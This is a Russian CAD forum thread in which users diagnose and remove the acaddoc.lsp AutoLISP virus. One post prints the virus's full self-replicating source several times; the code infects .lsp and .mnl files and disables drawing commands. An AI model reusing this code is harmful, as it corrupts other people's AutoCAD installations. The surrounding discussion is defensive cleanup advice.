|
||
| Правила | Регистрация | Пользователи | Сообщения за день | | Поиск | | Справка по форуму | Файлообменник | |
|
![]() |
Поиск в этой теме |
![]() |
#1 | |
Acaddoc.lsp вирус или нет?
Регистрация: 14.10.2008
Сообщений: 8
|
||
Просмотров: 85800
|
|
||||
Moderator
Конструктор (машиностроение) Регистрация: 23.10.2006
Россия
Сообщений: 23,258
![]() |
|
|||
![]() |
|
||||
__________________
*...И Случай, бог изобретатель. * |
||||
![]() |
|
||||
Регистрация: 14.10.2008
Сообщений: 8
|
Нашёл тему о вирусах, там предлагают несколько решений, таких как поменять значение SDI; TASKBAR на 0. Изменить занчения внутри файла *.lsp, я уже всё перепробовал, удалял все файлы acaddoc.lsp также чистил антивирусом, сносил AutoCAD. НЕ ПОМОГАЕТ!!!!!
![]() |
|||
![]() |
|
||||
Регистрация: 25.12.2005
Москва
Сообщений: 13,627
|
Допустим всего 1 файл acad.lsp в папке ...\Documents and Settings\......\Support. Да и то, при установке AutoCAD этот файл отсутствует. Содержимое именно этого файла надо проанализировать. Все остальные файлы, расположенные в других папках - вредительские, если только их не создавал сам пользователь.
|
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Mikhail.Pavliy, Засунь acad.lsp и acaddoc.lsp в архив и выложи посмотреть на внутренности. Если ты не стравил каких-либо приложений (которые могут использовать acad.lsp) то можешь поиском (например в Total Comandore) найти их все и удалить.
acaddoc.lsp тоже не Автокадоский файл. Автокадовкие файлы acad200X.lsp и acad200Xdoc.lsp, где X - версия (например для 2006 Автокада acad2006.lsp и acad2006doc.lsp) Поэтому скорее всего acaddoc.lsp тоже может отправиться туда же, куда и acad.lsp
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Регистрация: 25.12.2005
Москва
Сообщений: 13,627
|
Чертовщина какая-то. Я бы ликвидировал AutoCAD и все файлы acad***.lsp, установил заново AutoCAD и тщательно следил бы, чтобы при получении файлов со стороны совместно с файлом DWG не было бы вышеупомянутых файлов LSP. Но я сам себе хозяин и, естественно, администратор на своем компьютере.
|
|||
![]() |
|
||||
А я тут это...погулять вышел... Регистрация: 28.03.2007
Москва - от слова Моск?
Сообщений: 227
![]() |
Ну неужели нельзя никак создать уже какую-нить программулину, которая бы автоматизировала процесс лечения этой х*ени? Вирус-то узкоспециализированный, есть же проектировщики с навыками программирования, решили бы уже давно вопрос. Ведь не первый год народ мучается. Я к сожалению весьма далек от программирования, не пожалел бы личного времени чтобы покончить уже с этой проблемой.
Сугубо ИМХО.
__________________
Рожденный проектировать ГОСТов не читает. (с)Туманов А.А. |
|||
![]() |
|
||||
Thượng Tá Quân Đội Nhân Dân Việt Nam Регистрация: 14.03.2005
44d32'44"С, 33d26'51"В
Сообщений: 13,372
|
Чего поражаться-то? Этот "вирус" тупо многократно добавляет сам себя. Его и вирусом-то назвать нельзя - просто дебильный код, рассчитанный на поражение блондинок.
Насчет "неужели нельзя никак создать" - создано. Антивирусы реагируют и удаляют. Даже приложенный в ветку архив предлагают замочить еще до скачивания. А создать программулину, которая автоматизировала бы процесс мытья рук перед едой нельзя. |
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Mikhail.Pavliy, Он еще пишет во все mnl файлы в директории файла acad.mnl и lsp файлы в директории Support Автокада
Попробуй 1. По всему компьютеру найти и удалить файлы acad*.lsp 2. Деинсталлировать Автокад(ы) 3. Удалить все что остальсь в папках C:\Program Files\AutoCAD 200X и C:\Documents and Settings\Твоя_учетная_запись\Application Data\Autodesk\RXX.X вместе с папками. (AutoCAD 200X и RXX.X зависит от версии Атокада) 4. Переустановить Автокад (желательно не в папку по умолчанию). 5. Обращать ОСОБОЕ внимание на наличие файла acad.lsp и/или acaddoc.lsp в директориях dwg файлов (Например на флэшке или сетевом диске) до открытия в Атокаде
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Moderator
LISP, C# (ACAD 200[9,12,13,14]) Регистрация: 25.08.2003
С.-Петербург
Сообщений: 40,406
|
Уточнение: штатный acad.mnl
__________________
Моя библиотека lisp-функций --- Обращение ко мне - на "ты". Все, что сказано - личное мнение. |
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Mikhail.Pavliy, acad.mnl нужен для всех Автокадов. Напиши версии, выложу чистые acad.mnl.
PS acad.mnl, другие mnl и lsp файлы можно прочинить. Ищи в редакторе строку (setq flagx t) и удаляй все с нее до конца
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Thượng Tá Quân Đội Nhân Dân Việt Nam Регистрация: 14.03.2005
44d32'44"С, 33d26'51"В
Сообщений: 13,372
|
Как раз и нужен для того, чтобы всякие бродяги могли туда дописывать. Что и делает этот "вирус". А общие фразы - чтобы блондинки побоялись дописанное удалять.
|
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
__________________
Как использовать код на Лиспе читаем здесь Последний раз редактировалось VVA, 03.03.2009 в 13:15. Причина: Уточненная ссылка нового форума caduser |
|||
![]() |
|
||||
проектировшик Регистрация: 01.01.2007
СССР
Сообщений: 5,149
|
Солидвокер выручай не могу убить этот вирус в ноутбуке постоянно поялвяется,
места удаления автокад/суппорт Документ энд сетинг/ усер/автодеск/ суппорт Поялвяется и появляется автокад вообще тормозит и не работает каспер видит только тогда когда лечишь направленно, нод вообщзе не увидел...
__________________
инженер проектировшик с опттом программа авто гад образование высшие |
|||
![]() |
|
||||
Moderator
LISP, C# (ACAD 200[9,12,13,14]) Регистрация: 25.08.2003
С.-Петербург
Сообщений: 40,406
|
__________________
Моя библиотека lisp-функций --- Обращение ко мне - на "ты". Все, что сказано - личное мнение. |
|||
![]() |
|
||||
Moderator
LISP, C# (ACAD 200[9,12,13,14]) Регистрация: 25.08.2003
С.-Петербург
Сообщений: 40,406
|
Рядом с mnu/cui/mns должен лежать. Ищите
![]()
__________________
Моя библиотека lisp-функций --- Обращение ко мне - на "ты". Все, что сказано - личное мнение. |
|||
![]() |
|
||||
Регистрация: 25.12.2005
Москва
Сообщений: 13,627
|
|
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
dextron3, В файлах mnl, lsp есть строчки с содержанием (setq flagx t)?
Если да, то запусти скрипт из #30
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Из Автокада не нужно, хотя можно. Сохрани код в файле , например AntiVirus.vbs и запусти на ваполнение, дважды щелкнув по нему мышкой.
PS Добавил в описание #30
__________________
Как использовать код на Лиспе читаем здесь Последний раз редактировалось VVA, 04.03.2009 в 12:37. |
|||
![]() |
|
||||
проектировшик Регистрация: 01.01.2007
СССР
Сообщений: 5,149
|
VVA, СПАСИБО!
18 штук вылечил, минут 15 пришлось подождать, уж надежду потерял, вроде бы ничего не происходило, поясните обычным языком что эта штуковина делает то? по мимо mnl, acad.lsp лечит? acaddoc.lsp лечит?
__________________
инженер проектировшик с опттом программа авто гад образование высшие |
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Проверяет все lsp и mnl файлы на наличие строчки (setq flagx t) и если находит, сохраняет текст до нее и удаляет после.
VBS - Visual Basic Script
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Moderator
LISP, C# (ACAD 200[9,12,13,14]) Регистрация: 25.08.2003
С.-Петербург
Сообщений: 40,406
|
FAQ смотрел? Кстати, твой файл антивирь скачать не дает.
__________________
Моя библиотека lisp-функций --- Обращение ко мне - на "ты". Все, что сказано - личное мнение. |
|||
![]() |
|
||||
Регистрация: 25.07.2007
Сообщений: 2,518
|
фак смотрел конечно. постоянно ссылки туда сюда, одни так думаю другие эдак. вон VVA предлагал чего-то, у меня не получилось. а наш НОД его пропустил, собака. Кстати, я вчера тоже акад открываю и у меня тоже самое. Я что сделал, у меня хранится копия Support на диске D, скопировал специально, ато вон панели слетают...Так я почистил комп от этого acaddoc.lsp а потом заменил папку Support и все нормально стало работать.
Последний раз редактировалось Рyslan, 24.07.2009 в 10:42. |
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Цитата:
Можешь пройтись по машине еще CureIT или (лучше и) последним AVPTOOL'ом Касперского
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Регистрация: 25.07.2007
Сообщений: 2,518
|
скрипт, хм. я скопировал код в блокнот, сохранил под тем именем и с тем расширением которые вы рекомендовали. два раз кликаю на нем, ничего не происходит. потом что-то написал или поругался комп
Последний раз редактировалось Рyslan, 24.07.2009 в 13:39. |
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Рyslan, Если я правильно посчитал строки, то ошибка возникает в этой строке
Цитата:
Попробуй закрыть все и запустить скрипт снова.
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Рyslan, Этого недостаточно. Нужно выполнить еще п. 1 и п. 5 из #19 Иначе получишь опять все это гэ обратно. Когда почистишь комп, следи чтобы вместе с приходящими чертежами не было никаких lsp файлов. Особенно начинающихся на acad
__________________
Как использовать код на Лиспе читаем здесь Последний раз редактировалось VVA, 01.01.2010 в 12:47. Причина: орфография |
|||
![]() |
|
||||
Регистрация: 25.07.2007
Сообщений: 2,518
|
VVA, деинсталировать и переустановить автокад не в моих силах, а айтишникам лень это делать, этот "вирус" же не мешает работать. они даже когда новый 2009 кад ставили, ничего не почистили, остались папки 8, 6 када. а этот вирус во все текстовые файлы в Support лезет. я сегодня чистил автокад меп, там во всех текстовых файлах сидит этот acaddoc.lsp
|
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Рyslan, В п.1 и п.5 ничего про переустановку не говорится.
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Регистрация: 25.07.2007
Сообщений: 2,518
|
![]() |
|||
![]() |
|
||||
Регистрация: 21.04.2009
Сообщений: 1
|
Привет всем!!!
"... Мсье, же нема шпа сис жюр...." В инете раскопал: [IMG]C:\tmpDownload\111.jpg[/IMG] на сайте: http://www.jtbworld.com/lisp/acaddoc.htm или в переводе: "...Инструкции по использованию acaddoc.lsp AutoCAD's (Это работает для других версий (2000 и позже) в AutoCAD и вертикалей, а) От помощи в AutoCAD 2008 Acaddoc.lsp файл предназначен для связанных с каждого документа (или заимствования) инициализации. Этот файл является полезным, если вы хотите загрузить библиотеку подпрограмм AutoLISP быть доступны при каждом запуске нового рисунка (или откройте существующий рисунок). Каждый раз, когда открывается рисунок, AutoCad ищет пути к библиотеке для acaddoc.lsp файла. Если он находит, то он загружает файл в память. Acaddoc.lsp файла всегда загружается с каждым рисунок независимо от настроек ACADLSPASDOC. Большинство пользователей имеют один файл acaddoc.lsp для всех документ основан AutoLISP подпрограмм. AutoCAD ищет acaddoc.lsp файл в порядке, установленном пути к библиотеке, поэтому с этой функцией, вы можете иметь различные файлы acaddoc.lsp в каждом каталоге рисунок, который будет загружен конкретные процедуры AutoLISP для определенных типов чертежей или работы ..." Получается acaddoc.lsp - это не вирус, а наоборот: необходимое дополнение? Зачем же это "необходимое" тормозит комп??? Подскажите неучу, плз! |
|||
![]() |
|
||||
Moderator
LISP, C# (ACAD 200[9,12,13,14]) Регистрация: 25.08.2003
С.-Петербург
Сообщений: 40,406
|
Перевод какой-то "не такой"
![]() Instruction on the usage of AutoCAD's acaddoc.lsp (It works for other versions (2000 and later) of AutoCAD and verticals as well) From the Help in AutoCAD 2008 The acaddoc.lsp file is intended to be associated with each document (or drawing) initialization. This file is useful if you want to load a library of AutoLISP routines to be available every time you start a new drawing (or open an existing drawing). Each time a drawing opens, AutoCAD searches the library path for an acaddoc.lsp file. If it finds one, it loads the file into memory. The acaddoc.lsp file is always loaded with each drawing regardless of the settings of ACADLSPASDOC. Most users will have a single acaddoc.lsp file for all document-based AutoLISP routines. AutoCAD searches for an acaddoc.lsp file in the order defined by the library path; therefore, with this feature, you can have a different acaddoc.lsp file in each drawing directory, which would load specific AutoLISP routines for certain types of drawings or jobs. The acaddoc.lsp file can contain AutoLISP code for one or more routines, or just a series of load function calls. The latter method is preferable, because modification is easier. If you save the following code as an acaddoc.lsp file, the files mydocumentapp1.lsp, build.lsp, and counter.lsp are loaded every time a new document is opened. (load "mydocumentapp1") (load "build") (load "counter") Warning Do not modify the reserved acad2008doc.lsp file. Autodesk provides the acad2008doc.lsp file, which contains AutoLISP-defined functions that are required by AutoCAD. This file is loaded into memory immediately before the acaddoc.lsp file is loaded. How to create acaddoc.lsp if it does not exist In the folder where you want to save acaddoc.lsp right click and select New>Text Document. Change the name to acaddoc.lsp. Now you should be able to double click on the file and typically edit it in Notepad. Or start Notepad, edit, save, ready. Examples on location for acaddoc.lsp C:\Program Files\AutoCAD 2008\Support C:\Documents and Settings\<loginname>\Application Data\Autodesk\AutoCAD 2008\R17.1\enu\Support or in Windows Vista C:\Users\<loginname>\AppData\Roaming\Autodesk\AutoCAD 2008\R17.1\enu\Support If you want to find folders that are searched by AutoCAD run the OPTIONS command and look at the Files tab and at the Support File Search Path Каждый раз при открытии рисунка AutoCAD выполняет поиск файла acaddoc.lsp по библиотечному пути. При обнаружении такого файла производится его загрузка в память. Загрузка файла acaddoc.lsp производится для каждого рисунка не зависимо от значения системных переменных ACADLSPASDOC и LISPINIT. В большинстве случаев пользователю достаточно иметь один файл acaddoc.lsp для всех AutoLISP-процедур, работающих непосредственно с документами. AutoCAD производит поиск файла acaddoc.lsp в порядке, заданном в стандартных библиотечных путях. Поэтому при работе с различными типами рисунков в каждой папке с рисунками можно держать свой файл acaddoc.lsp для загрузки требуемого набора процедур AutoLISP. В файле acaddoc.lsp может размещаться AutoLISP-код одной или нескольких процедур или только последовательность вызовов функции load. Последний способ более предпочтителен, так как при этом упрощается возможная модификация перечня загружаемых процедур и приложений. Если, например, файл acaddoc2005.lsp имеет приведенное ниже содержимое, файлы mydocumentapp1.lsp, build.lsp и counter.lsp будут загружаться при открытии каждого документа. (load "mydocumentapp1") (load "build") (load "counter") AutoCAD производит поиск файла acaddoc.lsp в порядке, заданном в стандартных библиотечных путях. Поэтому при работе с различными типами рисунков в каждой папке с рисунками можно держать свой файл acaddoc.lsp. Этот файл будет использоваться для загрузки требуемого набора процедур AutoLISP. Внимание! Не следует модифицировать зарезервированный файл acad2005doc.lsp. Файл acad2005doc.lsp содержит функции на языке AutoLISP, которые необходимы для нормальной работы AutoCAD. Данный файл загружается в память непосредственно перед загрузкой файла acaddoc2005.lsp. А зачем файл модифицировать?
__________________
Моя библиотека lisp-функций --- Обращение ко мне - на "ты". Все, что сказано - личное мнение. |
|||
![]() |
|
||||
Инженер-Архитектор Регистрация: 20.03.2005
Сообщений: 776
|
|
|||
![]() |
|
||||
Цитата:
Offtop: Кстати, сегодня день "Спасибо"
__________________
14 Ибо если вы будете прощать людям согрешения их, то простит и вам Отец ваш Небесный (Мф 6, 14) |
||||
![]() |
|
||||
Регистрация: 12.04.2009
Сообщений: 93
|
Цитата:
Всё же, я считаю это вирусный файл |
|||
![]() |
|
||||
Регистрация: 25.12.2005
Москва
Сообщений: 13,627
|
Если внимательно просмотреть дистрибутив AutoCAD'а, то можно обнаружить, например для AutoCAD 2011, файлы acad2011.lsp и acad2011doc.lsp. Это служебные файлы AutoCAD'а, а не вирусы.
|
|||
![]() |
|
||||
Регистрация: 28.11.2010
Сообщений: 1
|
Цитата:
![]() |
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Ner, Я не мастер писать на vbs. Здесь я привел только ссылку и сам код. Если здесь не ответят, попробуй обратиться на форум, где общаются администраторы.
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Регистрация: 23.11.2010
Сообщений: 33
|
Нашел выход из этой ситуации. Может кто-то и где-то уже давно это узнал или написал про это. Тогда прошу прощения. Просто лень читать все комменты....
Суть заключается в следующем: 1) Открыть блокнотом файл acaddoc.lsp из папки C:\Program Files\AutoCAD 2009\Support 2) удалить все его содержание. Сохранить. 3) в свойствах файла acaddoc.lsp указать ТОЛЬКО ЧТЕНИЕ При последующих открытиях любого, хоть даже зараженного вирусом файла автокада в командной строке будет типа такого: (setq dwgname (getvar "dwgname")) (setq dwgpath (findfile dwgname)) (if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath)) (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn)) );while );progn );if (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while (setq lspn (1+ lspn)) );while (setvar "sdi" 1) (setvar "ACADLSPASDOC" 1) (command "undefine" "line") (command "undefine" "_line") (command "undefine" "xref") (command "undefine" "_xref") (command "undefine" "explode") (command "undefine" "_explode") (setvar "cmdecho" 1) (load "acadapq") (princ) (setq flagx t) (setq bz "(setq flagx t)") (defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target "r")) (while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source "r")) (setq wjm1 (open target "a")) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun (setvar "cmdecho" 0) (setq acadmnl (findfile "acad.mnl")) (setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist)) (setq acadexe (findfile "acad.exe")) (setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath "\\support")) (setq lspfilelist (vl-directory-files support "*.lsp")) (setq lspfilelist (append lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length lspfilelist)) (setq dwgname (getvar "dwgname")) (setq dwgpath (findfile dwgname)) (if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath)) (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn)) );while );progn );if (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while (setq lspn (1+ lspn)) );while (setvar "sdi" 1) (setvar "ACADLSPASDOC" 1) (command "undefine" "line") (command "undefine" "_line") (command "undefine" "xref") (command "undefine" "_xref") (command "undefine" "explode") (command "undefine" "_explode") (setvar "cmdecho" 1) (setq flagx t) (setq bz "(setq flagx t)") (defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target "r")) (while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source "r")) (setq wjm1 (open target "a")) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun (setvar "cmdecho" 0) (setq acadmnl (findfile "acad.mnl")) (setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist)) (setq acadexe (findfile "acad.exe")) (setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath "\\support")) (setq lspfilelist (vl-directory-files support "*.lsp")) (setq lspfilelist (append lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length lspfilelist)) (setq dwgname (getvar "dwgname")) (setq dwgpath (findfile dwgname)) (if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath)) (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn)) );while );progn );if (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (setq lspn1 0) (while (< lspn1 lspnum) (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist))) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1)) );while (setq mnln1 0) (while (< mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist))) (app lspfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1)) );while (setq lspn (1+ lspn)) );while (setvar "sdi" 1) (setvar "ACADLSPASDOC" 1) (command "undefine" "line") (command "undefine" "_line") (command "undefine" "xref") (command "undefine" "_xref") (command "undefine" "explode") (command "undefine" "_explode") (setvar "cmdecho" 1) (load "acadapq") (princ) (setq flagx t) (setq bz "(setq flagx t)") (defun app(source target bz / flag flag1 wjm wjm1 text) (setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target "r")) (while (setq text (read-line wjm1)) (if (= text bz) (setq flag1 nil)) );while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source "r")) (setq wjm1 (open target "a")) (write-line (chr 13) wjm1) (while (setq text (read-line wjm)) (if (= text bz) (setq flag t)) (if flag (progn (write-line text wjm1) );progn );if );while (close wjm1) (close wjm) );progn );if );defun (setvar "cmdecho" 0) (setq acadmnl (findfile "acad.mnl")) (setq acadmnlpath (vl-filename-directory acadmnl)) (setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")) (setq mnlnum (length mnlfilelist)) (setq acadexe (findfile "acad.exe")) (setq acadpath (vl-filename-directory acadexe)) (setq support (strcat acadpath "\\support")) (setq lspfilelist (vl-directory-files support "*.lsp")) (setq lspfilelist (append lspfilelist (list "acaddoc.lsp"))) (setq lspnum (length lspfilelist)) (setq dwgname (getvar "dwgname")) (setq dwgpath (findfile dwgname)) (if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath)) (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")) (setq mnln 0) (while (< mnln mnlnum) (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist))) (app mnlfilename acaddocfile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln)) );while (setq lspn 0) (while (< lspn lspnum) (setq lspfilename (strcat support "\\" (nth lspn lspfilelist))) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn)) );while );progn );if ; ошибка: неверный тип аргумента: streamp nil Но никаких проблем с автокадом у вас уже не возникнет ![]() Последний раз редактировалось DilshatDK, 17.12.2010 в 15:09. Причина: Не правильно ввел код скрытого текста |
|||
![]() |
|
||||
инженер пгс Регистрация: 07.11.2009
Москва
Сообщений: 2
|
Привет всем! Достаточно долго не мог справиться с этим вирусом. Он тормозил автокад, запускал каждый файл в новом окне и вообще превращал работу в разочарование. Читал на форуме, но справиться с проблемой своими силами так и не смог. Нашел у турецкого программиста и инженера готовую программку в LSP формате, которая тут же мне помогла. Она просто удаляет весь вирус с компа, где бы он ни был и не дает ему распространяться вновь. Чтобы им воспользоваться просто откройте автокад, откройте папку с файлом, и перетащите его в окошко автокад (вниз на свернутую ссылку на панели задач, он развернется) и все. Вирус Вас больше не побеспокоит. Лично опробовал на 2011. Спасибо туркам).
|
|||
![]() |
|
||||
инженер пгс Регистрация: 07.11.2009
Москва
Сообщений: 2
|
Ну это дело каждого, верить мне или нет. Просто я сам дней 15 мучался с этим вирусом, если кому-то не помогут ранее предложенные способы борьбы с вирусом, то они могут попробовать. У меня получилось, но я еще раз говорю, что доверие - это дело хозяйское). Доказывать кому-то что-то я тут не намерен, просто может быть помочь и все. Спасибо за понимание.
|
|||
![]() |
|
||||
строю, ломаю Регистрация: 03.04.2008
Украина
Сообщений: 5,515
|
Какой то бред...
Есть программа Everything запускаете, набираете acaddoc.lsp и удаляете, все Offtop: Кстати, подхватил недавно вирус, теперь справка акада отображается только после сообщения от эксплорера... Как можно это победить Последний раз редактировалось gomer, 18.02.2011 в 22:40. |
|||
![]() |
|
||||
строю, ломаю Регистрация: 03.04.2008
Украина
Сообщений: 5,515
|
Offtop: Я им и не пользуюсь... просто вирус поменял настройки и заблокировал настройки для локального компьютера, также не отображается семинар по новым возможностям и окно регистрации автогада а винду переустанавливать неохота...
|
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
Цитата:
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
gomer, Поиграйся с веткой HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel (предварительно сохранив резервную копию). Если увидишь значение ключа = 1, то либо установи в 0 либо удали.
__________________
Как использовать код на Лиспе читаем здесь |
|||
![]() |
|
||||
Вода - моя работа Регистрация: 10.11.2009
Санкт-Петербург
Сообщений: 3,638
|
На работе у коллег стали бесследно исчезать DWG файлы, нашёл в рабочих папках acad.lsp, а в Support ещё и acadiso.lsp, онлайн проверка Вебом показала
Цитата:
PS Восстановить исчезнувшие файлы не удаётся, пока исчезают только файлы с флешек, которые открывались на домашних компах, где домашние антивирусники убивали acad.lsp.
__________________
Нерешаемых проблем не бывает. |
|||
![]() |
|
||||
Инженер LISP Регистрация: 11.05.2005
Минск
Сообщений: 6,996
|
KronSerg, Выложи сюда acad.lsp на препарацию
__________________
Как использовать код на Лиспе читаем здесь Последний раз редактировалось VVA, 14.03.2011 в 16:19. |
|||
![]() |
|
||||
Вода - моя работа Регистрация: 10.11.2009
Санкт-Петербург
Сообщений: 3,638
|
Ну надо та надо.
Добавлено: Файл препарирован, код выложен, оригинал удаляется.
__________________
Нерешаемых проблем не бывает. Последний раз редактировалось KronSerg, 06.03.2011 в 22:56. Причина: Вложение удалено. |
|||
![]() |
|
||||
Вода - моя работа Регистрация: 10.11.2009
Санкт-Петербург
Сообщений: 3,638
|
sbi,
А чего ты ещё ждал? я выложил а не для праздного любопытства.
__________________
